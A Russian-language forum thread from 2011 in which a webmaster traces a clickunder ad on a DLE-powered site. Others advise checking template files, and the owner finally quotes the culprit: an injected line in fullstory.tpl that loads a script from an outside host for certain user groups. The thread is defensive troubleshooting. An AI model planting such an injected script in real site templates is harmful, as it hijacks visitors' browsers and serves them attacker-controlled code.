зайти в рекламных материалах глянуть.

В бд поискать.

Пройтись по всем файлам движка.

В рекламных материалах только баннер в шапке.
В бд думаю нет. (восстанавливал бекап сайта за октябрь, просил друзей кликать, кликандера не обнаружено)

В файлах движка скорее всего. Подскажите пожалуйста как пройтись?

В первую очередь проверьте файлы шаблона. Поменяйте шаблон и посмотрите, будет ли срабатывать кликандер. Если не будет - ищите в файлах шаблона.
Посмотрите index.php.

@Text Replacer - эта утилита Вам поможет

А что искать ?

найдите в исходном коде своего сайт кусочек вредоносного кода и ищите его.

Помогу, в асю стучите (на аватаре)

http://clip2net.com/s/KhBo

Это в подтверждение того, что я знаю в чем проблема, сайту ничего плохого не делал.

Сообщение отредактировал WebSet - 30.1.2011, 22:05

Ни в коем случае не реклама личного блога (с)

http://webnul.ru/?cat=4 почитайте и защититесь!

Сообщение отредактировал Evgenii - 30.1.2011, 22:28

Всем спасибо за ответы, а особенно WebSet'у за помощь. Проблема решена.
Всему виной код в fullstory.tpl:

[group=4,5]<script language="JavaScript" src="http://moijs.com/?id=185298"></script>[/group]

Который злоумышленники разместили благодаря дырам в дле.

Замечание модератора: Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней. Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой или обратитесь к любому из модераторов.